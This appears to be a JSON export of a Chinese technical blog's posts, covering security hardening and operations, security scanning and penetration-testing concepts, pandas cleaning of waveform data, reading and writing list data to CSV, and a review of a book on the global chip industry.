安全加固是指通过采取一系列措施，提高网络、系统和应用程序的安全性，以防止或减少未经授权的访问、数据泄露或系统损坏。这包括对网络设备、服务器、数据库和其他关键组件进行安全配置和加固，以防止潜在的攻击。 运维是指对网络、系统和应用程序的日常管理和维护，以确保其正常运行和性能。这包括监控系统的状态、维护和更新软件、管理网络设备、解决故障等。\n在安全加固方面，一些常见的措施包括：\n更新和修补操作系统、应用程序和网络设备的漏洞。 配置强密码和多因素身份验证。 限制不必要的网络端口和服务。 实施访问控制和权限管理。 定期备份数据和配置信息。 在运维方面，一些常见的任务包括：\n监控系统的性能和状态。 维护和更新软件和操作系统。 管理网络设备和网络连接。 解决系统和应用程序故障。 管理和优化数据库。 以下从补丁管理、安全加固、日志的监控分析、日常安全运维几个方面来一窥安全加固和运维。\n一、补丁管理 伴随着软件大小的不断膨胀，潜在的BUG 也不断增加。据估计，1992年发布的Windows3.1 有3 百万行代码。然而，估计它存在15000 到60000处潜在的BUG。1999 年发布的Windows2000 保守估计有三千五百万行代码，也就是说可能存在175,000 到700,000 个潜在的BUG。 安全相关的BUG 通常是在大量用户使用，以及黑客或者软件测试者企图进行渗透时才会发现的。一旦BUG 被发现，软件厂商通常会发布一段软件修正这个BUG。这种软件一般称为补丁(patch)、hotfix，或者Service pack。 与以往不同的是，只有时刻对出现的漏洞及时做出反应才能够有效地保护系统的有效性、保密性和完整性。几乎每天都会有厂商发布新的补丁，即使有经验的系统管理员也很难保证能够及时使用所有最新的补丁修补系统。 补丁管理是指一个区域的系统管理，包括获得、测试和安装多个补丁（代码改变）到一个执行的计算机系统。补丁管理可被看作变动管理的部分。 补丁管理任务包括：维持当前的可用补丁的知识；决定对于特定的系统什么样的补丁是合适的；确保补丁正确安装；安装后测试系统；证明所有相关的程序，例如所需的特殊的配置等。 在网络环境中，组织通常尝试维护计算机之间的软件版本一致性，并且通常执行集中式补丁管理，而不是允许每台计算机下载自己的补丁。集中式补丁管理使用中央服务器检查网络硬件是否有缺失的补丁、下载缺失的补丁并根据组织的补丁管理策略将其分发到网络上的计算机和其他设备。集中式补丁管理服务器的作用不仅仅是自动化补丁管理；它还使组织能够对补丁管理流程进行一定程度的控制。例如，如果确定某个特定补丁有问题，组织可以配置其补丁管理软件以阻止部署该补丁。集中式补丁管理的另一个优点是它有助于节省互联网带宽。从带宽的角度来看，允许组织中的每台计算机下载完全相同的补丁是没有意义的。相反，补丁管理服务器可以下载补丁一次并将其分发到指定接收它的所有计算机。\n二、安全加固 1、安全加固作用 各类网络设备、主机系统、数据库系统、应用系统等的安全状况是动态变化的，对于安全问题的发现及安全加固优化配置等操作都需要非常专业的安全技能，需要进行周期性的安全评估、审计、加固等工作，才能够保障整体安全水平的持续提高。 安全加固主要是解决以下安全问题： （1）安装、配置不符合安全需求； （2）使用、维护不符合安全需求； （3）系统完整性被破坏； （4）被植入木马程序； （5）帐户、口令策略问题； （6）安全漏洞没有及时修补； （7）应用服务和应用程序滥用；\n2、安全加固流程 安全加固是根据专业安全评估结果，制定相应的系统加固方案，针对不同目标系统，通过打补丁、修改安全配置、增加安全机制等方法，合理进行安全性加强。加固的流程和范围如下图所示： 3、安全加固内容 系统安全加固是指通过一定的技术手段，提高操作系统或网络设备安全性和抗攻击能力。内容包括主机加固、数据库加固、中间件加固、网络设备加固等。\n（1）主机加固 Windows设备安全加固内容：账号、口令、授权、日志配置操作、日志保护配置、共享文件夹及访问权限、Windows服务、防病毒管理、自动播放、屏幕保护、远程登录控制、补丁管理、IP协议安全配置操作、时间同步服务。 Linux操作系统安全加固内容：账号、口令、文件权限、IP协议安全、日志审计、关闭不必要的服务、资源控制。 AIX操作系统安全加固内容：账号、口令、授权、日志配置、IP协议安全、路由协议安全、补丁管理、内核调整、服务进程和启动、AIX可被利用的漏洞。\n（2）数据库加固 加固的内容包括：身份鉴别、访问控制、安全审计、资源控制等安全项加固。加固方法包括：对数据库安全策略、服务等进行安全加固；加强对敏感存储过程的管理，尤其是能执行操作系统命令的存储过程。 Oracle数据库安全加固内容：账号、口令、授权、日志审计、远程操作连接。 Linux版MySQL数据库安全加固内容：认证授权（以非root用户启动MySQL、口令策略、共享帐号、最小权限、IP地址限制、删除无关帐号）、日志审计、安全文件权限配置、连接数限制。 Windows版MySQL安全加固内容：认证授权（以普通用户权限运行MySQL、口令策略、共享帐号、最小权限、IP地址限制、删除无关帐号）、日志审计、安全文件权限配置、连接数限制。 SQL Server数据库安全加固内容：账号、口令、授权、日志审计、通信协议、补丁、停用不必要的存储过程。\n（3）中间件加固 IIS中间件安全加固内容：账号、口令、授权、日志配置操作、日志保护配置、文件系统及访问权限、IIS服务组件、隐藏IIS版本号及敏感信息、版本和补丁管理、IP协议安全配置操作、连接数限制。 Linux版Apache安全加固内容:认证授权设置、以非root用户启动Apache、目录安全配置、限制IP地址访问、日志审计设置、配置错误日志、配置访问日志、其他安全设置、隐藏Apache版本号、关闭目录浏览功能（必选）、禁用Apache的执行功能、防御拒绝服务攻击、自定义错误页面、升级使用最新版Apache。 Windows版Apache安全加固内容：认证授权设置、以普通用户权限运行Apache、目录安全配置、限制IP地址访问、日志审计设置、配置错误日志、配置访问日志、其他安全设置、隐藏Apache版本号、关闭目录浏览功能（必选）、禁用Apache的执行功能、防御拒绝服务攻击、自定义错误页面。 Tomcat中间件安全加固内容：账号、口令、授权、日志配置操作、定时登出、错误页面处理、目录列表访问限制。 Weblogic中间件安全加固内容：账号、口令、授权、日志、审计、其他安全配置、定时登出、错误页面处理、禁用Send Server header。\n（4）网络设备加固 对二层交换设备、三层交换设备、路由器、防火墙等网络设备进行加固，加固内容包括：访问控制、安全审计、网络设备防护等安全项加固。 CISCO网络设备安全加固内容：账号、口令、密码复杂度、加固CON端口的登录、加固AUX端口的管理、对网络设备的管理员登录地址进行限制、HTTP登录安全加固、设置登录超时时间、用户权限分配、限制具备管理员权限的用户远程登录、日志配置、日志安全要求、远程日志功能、防止地址欺骗、SNMP服务器配置、使用ssh加密传输、禁用空闲端口、端口级的访问控制策略。 HUAWEI网络设备安全加固内容：用户帐号分配、限制具备管理员权限的用户远程登录、无效账户清理、静态口令复杂度、静态口令加密、密码重试、加固CON端口的登录、加固AUX端口的管理、对网络设备的管理员登录地址进行限制、远程登录加密传输、设置登录超时时间、用户权限分配、配置日志功能、对用户操作进行记录、对用户登录进行记录、开启NTP服务保证记录的时间的准确性、远程日志功能、ACL配置、防止地址欺骗、SNMP服务器配置、配置SNMPV2或以上版本、修改SNMP的Community默认通行字、动态路由协议口令要求配置MD5加密、禁止发布或接收不安全的路由信息、MPLS安全、禁用空闲端口、关闭不必要的服务。 H3C网络设备安全加固内容：账号、设备特权口令、密码复杂度、设置特权口令(推荐)、关闭未使用的端口、账号口令、Console口密码保护、禁止无关账号、日志配置操作、审核登录、VTY端口防护策略、远程主机IP地址段限制、远程管理通信安全、更改SNMP 服务读写权限管理、修改SNMP默认的Community字符串、Community字符串加密、IP/MAC地址绑定、ARP攻击防御、ARP防止IP报文攻击、关闭设备FTP服务、防源地址欺骗攻击、端口隔离、启用端口安全功能。\n（5）漏洞修复 漏洞指的是计算机系统(操作系统和应用程序)的缺陷，攻击者可以通过这些缺陷进行非法入侵，实施恶意行为。漏洞修复对这些缺陷进行修补，以减少系统漏洞的暴露。在安全事件发生前防患于未然，包括主机漏洞修复、第三方产品漏洞和应用漏洞，主机漏洞修复主要通过补丁升级、版本升级来修复，第三方产品漏洞需厂商配合，应用漏洞需开发商对软件源码进行修复。\n（6）安全设备调优 根据信息系统的安全情况和风险情况逐步调整已有的防火墙、堡垒机、安全监控平台、日志审计平台、IPS、WAF等安全设备策略配置，达到最佳的安全防护效果。\n三、日志监控分析 日志监控分析是从应用系统各结点获得日志文件，采取人工+工具的分析分析方法，形成日志分析报告。该报告与定期评估结果、定期策略分析结果进行综合分析，找到当前的系统及网络设备中存在的问题和隐患，并给信息系统运维提供专业的增强建议。\n1、日志分析流程 日志分析服务遵循以下流程： （1）日志服务器搭建。将路由器、交换机通过syslog 协议，将Windows 系统的日志通过eventlog 的方式集中转存到搭建的日志服务器上。 （2）分析日志。分析关键服务器、防火墙、路由器、交换机等设备的日志, 采取人工加工具的审计分析方法对日志信息进行综合分析,找到当前的系统及网络设备中存在的隐患和被攻击痕迹。 （3）生成报告。根据日志分析内容，结合企业信息系统网络的构成及业务流程等，生成专业又极具可读性的报告，并针对日志分析出的各项问题，提出修补建议，使发现的问题能尽可能早的得到解决，避免引起更大范围的影响和损失。 （4）其它支持。企业根据报告的内容对系统进行检查和修补，并寻求专业公司帮助和指导。\n2、日志分析内容 日志分析的内容主要包括：\n类型 内容 方式 网络层 网络设备日志 工具、手工 主机层 通用的windows 和unix 系统日志，包括：应用程序日志、系统日志、安全日志等。 工具、手工 应用 Web 系统，包括：IIS、Apache；数据库等 工具、手工 四、日常安全运维 日常安全运维是确保网络和系统安全的重要环节。以下是一些日常安全运维的常见任务和注意事项： 1、监控网络和系统状态：通过使用各种工具和技术，监控网络和系统的状态，包括流量、设备性能、安全事件等，以便及时发现潜在的安全威胁和问题。 2、更新和修补漏洞：定期更新系统和应用程序的补丁和安全更新，以修复已知的安全漏洞。确保及时应用这些更新，以减少被攻击的风险。 3、访问控制和权限管理：实施严格的访问控制策略，确保只有授权人员能够访问敏感数据和系统资源。同时，管理用户的权限，确保他们只能访问他们需要的功能和数据。 4、入侵检测和防御：部署入侵检测系统和防御措施，以监控和识别潜在的攻击行为。及时响应和处理安全事件，防止攻击者进一步渗透网络和系统。 5、日志管理和分析：收集和分析系统日志，以监控和分析潜在的安全威胁和异常行为。通过日志分析，可以及时发现潜在的安全问题并采取相应的措施。 5、安全审计和监控：定期进行安全审计和监控，以确保安全策略和措施的有效性。通过审计和监控，可以发现潜在的安全漏洞和问题，并及时采取相应的措施。 7、备份和恢复计划：制定备份和恢复计划，以确保在发生安全事件或灾难时能够迅速恢复系统和数据。定期测试备份和恢复计划，以确保其有效性。 8、培训和管理：对运维人员进行安全培训和管理，提高他们的安全意识和技能水平。同时，建立完善的安全管理制度，确保运维人员遵守安全规定和操作流程。\n安全加固和运维是相互关联的，因为一个安全的系统需要运维来维护和管理，而运维也需要安全加固来确保系统的安全性。因此，在网络安全领域中，安全加固和运维是密不可分的。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-12-19-%E5%AE%89%E5%85%A8%E8%BF%90%E8%90%A5%E4%B9%8B%E5%AE%89%E5%85%A8%E5%8A%A0%E5%9B%BA%E5%92%8C%E8%BF%90%E7%BB%B4/","summary":"\u003cp\u003e安全运营是一个将技术、流程和人有机结合的复杂系统工程，通过对已有安全产品、工具和服务产出的数据进行有效的分析，持续输出价值，解决安全问题，以确保网络安全为最终目标。\u003c/p\u003e","title":"安全运营之安全加固和运维"},{"content":"安全运营是一个将技术、流程和人有机结合的复杂系统工程，通过对已有安全产品、工具和服务产出的数据进行有效的分析，持续输出价值，解决安全问题，以确保网络安全为最终目标。\n安全检查和测试是确保系统、设备或环境安全的重要手段，是安全运营基础工作的一部分。\n安全检查主要通过定期或不定期地对系统、设备或环境进行全面的检查，以发现潜在的安全风险和漏洞。检查的内容可能包括各级人员安全责任制的落实情况、安全活动开展的贯彻落实情况、安全规章制度和措施的落实情况、现场安全管理情况、员工的遵章守纪情况以及员工安全操作规程及安全常识掌握情况等。\n安全测试则是一种通过模拟攻击者的行为，测试系统的安全性，并发现潜在的弱点和漏洞的过程。这可以包括网络渗透测试、应用程序渗透测试等。\n安全检查和测试包括日常的安全扫描、安全检查和针对信息系统的渗透测试。\n一、安全扫描 通过按照计算机信息系统安全的国家标准、相关行业标准设计、编写、制造的安全扫描工具，分析并指出有关网络的安全漏洞及被测系统的薄弱环节，给出详细的检测报告，并针对检测到的网络安全隐患给出相应的修补措施和安全建议。\n安全扫描目的是提高内部网络安全防护性能和抗破坏能力，检测评估已运行网络的安全性能，为网络系统管理员提供实时安全建议。安全扫描作为一种积极主动的安全防护技术，提供了对内部攻击、外部攻击和误操作的实时保护，在网络系统受到危害之前可以提供安全防护解决方案。\n安全扫描是一种快速有效的安全评估手段，可以发现系统可能存在的部分安全问题，一般会采用安全扫描工具进行安全扫描，漏扫工具会根据目前安全行业漏洞发掘情况，对扫描系统漏洞库不断进行更新。使在扫描过程中，可以发现系统更多的安全问题。\n在安全扫描过程中严格遵守以下原则：\n1）服务不能影响目标系统所承载的业务运行；\n2）服务不能严重影响目标系统的自身性能；\n3）操作时间选择在系统业务量最小，业务临时中断对外影响最小的时候。\n二、安全检查 安全检查是指安全专家登录主机，网络设备，根据检查列表对可能存在的安全漏洞进行逐项检查，根据检查结果提供详细的漏洞描述和修补方案。人工检查作为人工实施的安全评估手段可以有效弥补由于在防火墙策略或者其他安全设备的防护措施下，安全扫描工具无法扫描发现系统内部特定区域的缺陷。通过安全专家在主机、网络等设备上的实际操作，可以更深程度地发现系统存在的问题及需要安全增强的脆弱点。\n安全检查是信息系统脆弱性发掘的一种有效措施，可以发现系统内部帐号策略、权限管理、日志审核、网络服务等诸多问题。对服务器及网络系统来说人工检查是安全加固的必要步骤。\n三、渗透测试 渗透测试（penetration test）是通过模拟恶意攻击的方法，来评估系统是否存在安全风险的一种评估方法。这个过程包括对系统的任何弱点、技术缺陷或漏洞的主动分析，安全渗透测试工程师以攻击者的视角从一个攻击者可能存在的位置来进行的，并且从这个位置有条件主动利用安全漏洞。渗透测试还具有的两个显著特点是：渗透测试是一个渐进的并且逐步深入的过程。渗透测试是选择不影响业务系统正常运行的攻击方法进行的测试。\n1、渗透测试方法\n黑盒渗透测试：是为了证明信息系统在网络孤岛的情况下面对 APT 攻击的危险性，系统安全防御是否按照预期计划正常运行而提供的一种测试方案。\n测试过程中，会综合采用各种手段和途径，包括端口扫描，漏洞扫描，密码猜测， 密码破解，数据窃听，伪装欺骗等技术方式。最终目的就是为了检验该网络各个环节的安全性。\n2、模拟渗透测试技术\n模拟渗透入侵测试，是指为了对一个目标网络的安全性进行实际检查，进行不带攻击行为的全面安全检测；是一个在评估目标主机、网络、嵌入式设备的安 全性，模仿黑客特定攻击行为的过程。\n详细地说，是指测试工程师尽可能完整的收集相关信息，利用收集到的信息进行靶场搭建，完整的模拟黑客使用的漏洞发现技术和攻击手段，对目标网络的安全性作完整攻击复现的过程。\n通过安全检查和测试，可以及时发现并解决潜在的安全问题，提高系统的安全性，确保系统、设备或环境的安全稳定运行。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-12-19-%E5%AE%89%E5%85%A8%E8%BF%90%E8%90%A5%E4%B9%8B%E5%AE%89%E5%85%A8%E6%A3%80%E6%9F%A5%E5%92%8C%E6%B5%8B%E8%AF%95/","summary":"\u003cp\u003e安全运营是一个将技术、流程和人有机结合的复杂系统工程，通过对已有安全产品、工具和服务产出的数据进行有效的分析，持续输出价值，解决安全问题，以确保网络安全为最终目标。\u003c/p\u003e","title":"安全运营之安全检查和测试"},{"content":"做数据分析很大一部分工作量都是在对数据处理，因为数据来源的质量问题，不能保证所有的数据都是正常的。对于数据分析和处理来说pandas无疑是常用的利器。下面通过一个实例来用pandas对波形异常数据进行实战处理。\n读取数据 1 2 3 4 5 import numpy as np import pandas as pd import matplotlib.pyplot as plt df_data=pd.read_csv(\u0026#39;data\\HRTrend测试波形.csv\u0026#39;) df_data 从csv导入的数据是文本字符串类型的，用《Python将列表中的数据写入csv并正确读取解析》中介绍的方法将文本数据转成列表。\n1 2 3 4 5 def str2list(str): return np.fromstring(str[1:-1], sep=\u0026#39; \u0026#39;) df_data[\u0026#39;HRTrend\u0026#39;]=df_data[\u0026#39;HRTrend\u0026#39;].apply(str2list) df_data 用plt查看图形\n1 2 3 4 5 6 fig,axes = plt.subplots(3,4,figsize=(12,4)) i=0 for x in range(3): for y in range(4): axes[x,y].plot(df_data[\u0026#39;HRTrend\u0026#39;][i]) i=i+1 从图形上看出现了异常。我们抽一个数据进行查看，发现前后有很多空值，并且在数据中也存在缺失值。\n1 df_data[\u0026#39;HRTrend\u0026#39;][0] 1 plt.plot(df_data[\u0026#39;HRTrend\u0026#39;][0]) 用plt画出图形，可以看到因为有缺失值所以图形并不连续。\n异常数据处理 为了更好的展示图像，为以后的数据分析准备数据，我们需要将前后的空值去掉，对于中间存在的异常值我们可以用前值或后值进行填充。\n1 2 3 4 5 6 # 定义一个方法，先将空值用0填充，然后去首尾的0，再将中间存在异常的值用前值填充。 def ruledata(df_cloumn): ps=pd.Series(df_cloumn).fillna(0) #先将为空值用0填充 values=pd.Series(np.trim_zeros(ps)).replace(to_replace=0, method=\u0026#39;ffill\u0026#39;).values #去首尾0,然后用异常值填充 return values df_data[\u0026#39;rule_HRTrend\u0026#39;]=df_data[\u0026#39;HRTrend\u0026#39;].apply(ruledata) #将异常数据处理的方法进行应用处理异常值 1 2 3 4 5 6 fig,axes = plt.subplots(3,4,figsize=(12,4)) i=0 for x in range(3): for y in range(4): axes[x,y].plot(df_data[\u0026#39;rule_HRTrend\u0026#39;][i]) i=i+1 最后可以发现经过异常值修复后图形变得正常连续了。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-12-18-pandas%E5%AF%B9%E6%B3%A2%E5%BD%A2%E5%BC%82%E5%B8%B8%E6%95%B0%E6%8D%AE%E5%A4%84%E7%90%86%E5%AE%9E%E6%88%98/","summary":"\u003cp\u003e做数据分析很大一部分工作量都是在对数据处理，因为数据来源的质量问题，不能保证所有的数据都是正常的。对于数据分析和处理来说pandas无疑是常用的利器。下面通过一个实例来用pandas对波形异常数据进行实战处理。\u003c/p\u003e","title":"pandas对波形异常数据处理实战"},{"content":"用Python做数据处理常常会将数据写到文件中进行保存，又或将保存在文件中的数据读出来进行使用。通过Python将列表中的数据写入到csv文件中很多人都会，可以通过Python直接写文件或借助pandas很方便的实现将列表中的数据写入到csv文件中，但是写进去以后取出有些字段会有变化有些坑还是要避免。本文通过实例来介绍如何将列表中的数据写入文件如csv并正确解析出来使用。\n示例数据如下：\n1 2 3 data = [[\u0026#39;John\u0026#39;, \u0026#39;25\u0026#39;, \u0026#39;Male\u0026#39;,[99,100,98]], [\u0026#39;Emily\u0026#39;, \u0026#39;22\u0026#39;, \u0026#39;Female\u0026#39;,[97,99,98]], [\u0026#39;Michael\u0026#39;, \u0026#39;30\u0026#39;, \u0026#39;Male\u0026#39;,[97,99,100]]] 通过pandas将数据写入csv 1 2 3 4 5 import pandas as pd df = pd.DataFrame(data,columns=[\u0026#39;Name\u0026#39;, \u0026#39;Age\u0026#39;, \u0026#39;Gender\u0026#39;,\u0026#39;Score\u0026#39;]) filename = \u0026#39;data\\pd_data.csv\u0026#39; df.to_csv(filename, index=False) df 我们对原始的数据中的分数Score字段进行求和统计总分TotalScore\n1 2 df[\u0026#39;TotalScore\u0026#39;]=df[\u0026#39;Score\u0026#39;].apply(sum) df 通过pandas将csv文件中的数据读出 用pandas将csv文件将数据读出也是非常方便的一行代码就可以搞定\n1 2 df_read_csv=pd.read_csv(filename) df_read_csv 但是会发现从csv文件中读出数据后形成的dataframe数据集对数据中的分数Score字段进行求和统计总分TotalScore会报错！\n1 2 3 df_read_csv[\u0026#39;TotalScore\u0026#39;]=df_read_csv[\u0026#39;Score\u0026#39;].app TypeError: unsupported operand type(s) for +: \u0026#39;int\u0026#39; and \u0026#39;str\u0026#39; 原因是原数据中Score字段中的数据是list但是报错至文件读出来后这个字段变成了字符串，字符串不能求和。\n解决方案 将字段中为字符串的值进行转换，转换成list，numpy提供了string转list的方法，当然也可以自己写。\n1 2 3 4 5 6 7 8 import numpy as np def makeArray(text): #return [int(item) for item in text[1:-1].split(\u0026#39;,\u0026#39;)] #将字串转换成列表 return np.fromstring(text[1:-1], sep=\u0026#39;,\u0026#39;) #用numpy提供的方法将字串转换成列表 df_read_csv[\u0026#39;Score\u0026#39;]=df_read_csv[\u0026#39;Score\u0026#39;].apply(makeArray) #将Score由字符串转成列表 df_read_csv[\u0026#39;TotalScore\u0026#39;]=df_read_csv[\u0026#39;Score\u0026#39;].apply(sum) df_read_csv 可以看到这下Score字段可以正常的进行求和统计总分TotalScore了。\n博客地址：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-12-16-python%E5%B0%86%E5%88%97%E8%A1%A8%E4%B8%AD%E7%9A%84%E6%95%B0%E6%8D%AE%E5%86%99%E5%85%A5csv%E5%B9%B6%E6%AD%A3%E7%A1%AE%E8%A7%A3%E6%9E%90%E5%87%BA%E6%9D%A5/","summary":"\u003cp\u003e用Python做数据处理常常会将数据写到文件中进行保存，又或将保存在文件中的数据读出来进行使用。通过Python将列表中的数据写入到csv文件中很多人都会，可以通过Python直接写文件或借助pandas很方便的实现将列表中的数据写入到csv文件中，但是写进去以后取出有些字段会有变化有些坑还是要避免。本文通过实例来介绍如何将列表中的数据写入文件如csv并正确解析出来使用。\u003c/p\u003e","title":"Python将列表中的数据写入csv并正确解析出来"},{"content":"随着社会的进步和技术的发展，以互联网产业化、人工智能等为代表的第四次工业革命席转全球，人工智能技术如火如荼，将整个世界推入了智能化时代。有人说石油是现在工业的血液，那么芯片就是现代工业的大脑。芯片作为现代工业的大脑，它们被广泛应用于各种电子设备、通信、计算机、人工智能等领域。在现代电子设备中发挥着核心的作用。芯片可以控制和操作各种电子设备，执行复杂的运算和数据处理任务，实现各种智能化的功能。随着科技的进步和数字化转型的加速，芯片在各个领域的应用越来越广泛，从计算机、手机、汽车到航空航天、医疗、国防等各个领域，都离不开芯片的支持和推动，半导体芯片在现代技术和工业中的重要性无法被低估。\n近年来在中美贸易战中，芯片起到了关键的战略性作用。在中美贸易战期间，半导体芯片成为了贸易争端的一个焦点和核心议题。2018年4月开始，美国政府针对我国发动了一场以芯片为核心的科技战，我们可以把之称为芯片战争。\n《芯片战争》是一部从企业竞争和国力较量的角度讲述全球芯片产业发展历程的书籍。全书分上部全球芯风云和下部中国芯势力，上部主要讲述了全球芯片产业的发展史和芯片产业链的变迁，下部主要讲述了中国芯片的崛起与芯片产业发展的最新动态。作者余盛是国内战略咨询专家、消费品营销专家及财经作家。这本书是作者继《手机战争》之后关于信息产业领域的第二部力作，目前豆瓣评分是8.6分。 什么是芯片 芯片，也被称为集成电路（Integrated Circuit，IC）或微芯片，是一种将多个电子元件（如晶体管、电阻、电容等）集成到一个小而紧凑的半导体片上的技术和产品。现代芯片可以包含数十亿个这样的元件，它们通过复杂的制造过程被制作在一块硅晶圆上。这个过程包括设计、掩模制作、光刻、蚀刻、沉积和测试等多个步骤。最终得到的芯片具有各种功能，例如处理数据（如CPU）、存储信息（如RAM、ROM）、或者进行信号放大和转换（如运算放大器、ADC/DAC）。芯片的应用非常广泛，涵盖了几乎所有的电子设备，从计算机和手机到家用电器、汽车、医疗设备甚至军事装备。由于其体积小、耗电少、成本低、速度快等特点，芯片对于推动科技进步和现代化生活起到了至关重要的作用。\n芯片的发展历程 集成电路（芯片）在其早期发展阶段受到了美国国防工业的支持和推动。20世纪中叶，随着冷战的升温，美国政府和军方对于新技术的需求增加，特别是对于更小型化、更高效和更可靠的电子设备和计算机系统的需求。集成电路的发展为解决这些需求提供了重要支持。在这一时期，美国国防部和一些政府机构积极支持了集成电路技术的研究和发展。例如，1958年美国国家航空航天局（NASA）成立时，其推动了一系列技术创新，并且在航天器和计算机系统中广泛采用了集成电路。此外，军方对于集成电路在军事通信、导航系统和计算机技术中的应用也给予了关注和资金支持。 芯片的发展历程可以追溯到20世纪中叶，经历了几个阶段的演变。以下是芯片发展的主要历史阶段：\n初期概念（1940s - 1950s）： 芯片的概念最早在20世纪40年代末至50年代初由多位科学家和工程师提出。在这一时期，电子元件的集成度很低，电子器件主要通过手工连接构建。 第一代晶体管技术（1950s - 1960s）： 随着晶体管的发明和使用，电子器件变得更加小型化和可靠。这一时期的电子器件仍然是离散的，但晶体管的引入为集成电路奠定了基础。 集成电路的诞生（1958年）： 杰克·基尔比（Jack Kilby）和罗伯特·诺伊斯（Robert Noyce）分别在1958年几乎同时提出了集成电路的概念。基尔比使用了间歇技术将几个器件集成到单个硅片上，而诺伊斯则提出了将多个晶体管集成到单个硅片上的全片法。这标志着集成电路的诞生，为后来的芯片技术奠定了基础。 摩尔定律的确立（1965年）： 戈登·摩尔（Gordon Moore）在1965年提出了著名的摩尔定律，指出集成电路上可容纳的晶体管数量每隔约18至24个月会翻倍。这一定律推动了半导体行业的迅猛发展，促使了芯片技术的不断创新和提升。 LSI和VLSI技术的发展（1960s - 1970s）： 大规模集成电路（LSI）和超大规模集成电路（VLSI）技术的发展使得更多的晶体管能够集成到单个芯片上。这一时期，芯片的功能和复杂性不断增加，应用领域也逐渐扩展。 先进制程和微纳米技术（1980s至今）： 随着半导体制造技术的不断进步，制程尺寸不断减小。从1980年代开始，微纳米技术逐渐成为主流，芯片上的晶体管数量呈指数级增长。这一时期，集成电路的制造变得更加复杂，包括光刻、蚀刻、离子注入等高度精密的制程。 多核处理器和异构集成电路（2000s至今）： 随着对计算能力和功耗效率的不断需求，多核处理器和异构集成电路的兴起成为一个重要趋势。这使得在一个芯片上集成不同类型的处理器和功能成为可能，以满足不同应用的需求。 芯片的发展历程体现了对集成度、性能、功耗等方面不断追求的过程。这一过程推动了信息技术的发展，影响了现代社会的方方面面。\n芯片技术为什么难攻克 芯片技术随着这么多少年的快速发展，使得芯片技术变得异常复杂且具有高度专业性，涉及多个复杂的技术、物理和工程难题，对于后来者造成了巨大的技术壁垒。\n制程复杂性： 制造芯片的制程非常复杂，涉及多个步骤，如光刻、蚀刻、沉积、离子注入等。随着制程尺寸不断减小，对制程的控制要求越来越高。微纳米技术的应用使得芯片上的元件尺寸趋近或小于100纳米，目前世界上最先进的芯片制造制程是3纳米，需要高度精密的制造工艺。 摩尔定律挑战： 摩尔定律指出，集成电路上的晶体管数量每隔一段时间会翻倍，但随着晶体管尺寸的不断缩小，已经接近原子尺度的极限。超越这一极限需要开发新的技术和材料，例如量子点技术、碳纳米管等。 材料科学难题： 随着制程的进一步微缩，新的材料需求不断涌现。寻找符合要求的材料，能够在小尺寸下保持稳定性、导电性、绝缘性等特性，是一个具有挑战性的问题。 热管理问题： 集成电路的密度增加，功耗也随之增加。如何有效地管理芯片上的热量，防止过热对性能和寿命造成影响，是一个重要的挑战。 设计复杂性： 芯片设计变得越来越复杂，涉及到大量的晶体管和电路元件。设计出高性能、低功耗、可靠的芯片需要高度专业的技术和工程知识，而且设计周期较长。 成本压力： 高度先进的制程和设备投资成本巨大。发展新技术需要大量的研发资金，而且芯片制造商需要在竞争激烈的市场中保持竞争力，这对技术和成本控制提出了更高要求。 目前芯片产业的格局 在全球范围内，目前参与芯片产业领域竞争的主要经济体包括中国、美国、日本、韩国、中国台湾地区、欧州等。\n中美两国： 中美之间的竞争是最引人注目的。美国在半导体领域拥有一些全球领先的企业，而中国则致力于迎头赶超，并投资大量资源用于半导体技术的研发和产业发展。两国之间存在着贸易争端和技术战略的角力。 日本：日本是全球领先的半导体生产国之一，拥有多家知名半导体公司，如东芝、富士通等。在芯片产业领域竞争，日本致力于发展先进的半导体技术，并将其应用于各种产品和服务中，包括汽车、电子设备和工业设备等。 韩国：韩国是全球最大的半导体生产国之一，拥有三星、LG等知名半导体公司。在芯片战争中，韩国通过大力发展半导体产业，实现了经济的快速增长和技术赶超。韩国的半导体产品广泛应用于全球市场，包括手机、电视、电脑等电子产品。 中国台湾：台湾的半导体产业在全球范围内具有重要地位，拥有台积电、联发科技等知名公司。台湾的半导体技术广泛应用于各种电子产品，包括手机、电脑、电视等。在芯片产业领域，台湾致力于维护自己的市场份额和技术优势。 欧洲：欧洲在芯片产业领域竞争中扮演了重要角色，拥有多家领先的半导体公司，如意法半导体、荷兰恩智浦、荷兰的ASML等。欧洲致力于发展自主的半导体产业，以减少对美国和亚洲的依赖，并推动创新和经济增长。 芯片产业的格局涉及到全球范围内的多个公司\n主要制造商： 台湾半导体制造公司（TSMC）： 作为全球最大的独立芯片制造厂商之一，TSMC提供给包括苹果、英特尔、AMD等公司制造先进的芯片。其技术领先地位使其成为全球芯片制造的中流砥柱。 三星电子： 三星不仅在芯片制造领域有重要地位，还在内存、存储器和其他半导体产品方面具有竞争力。 英特尔： 作为一家全球领先的芯片设计和制造公司，英特尔在服务器、个人电脑和数据中心等领域占据主导地位。 设计公司： 美国公司： 在芯片设计领域，美国的公司占据主导地位。例如，英特尔、高通、博通、NVIDIA等公司在处理器、通信芯片、图形处理器等领域具有显著的市场份额。 中国公司： 中国也在不断加强在芯片设计领域的实力，包括华为旗下的海思、紫光展锐等公司。中国一直在推动本国芯片产业的发展，投资大量资源进行研发和支持本土芯片公司。 消费电子公司： 苹果、三星、华为、小米等： 这些公司不仅是芯片的大规模采购者，同时也在自家产品中采用自家设计的芯片，以提高产品性能和降低成本。 新兴技术领域的公司： NVIDIA： 在人工智能和图形处理领域，NVIDIA具有显著的地位，其GPU（图形处理器）在深度学习等领域取得了巨大成功。 AMD： 在处理器和图形芯片领域，AMD也在市场上展现出竞争力，尤其是在台式机和服务器市场。 其他： 日本的东芝、富士通，韩国的SK海力士等公司在存储器领域具有一定的市场份额。 中国芯片的发展 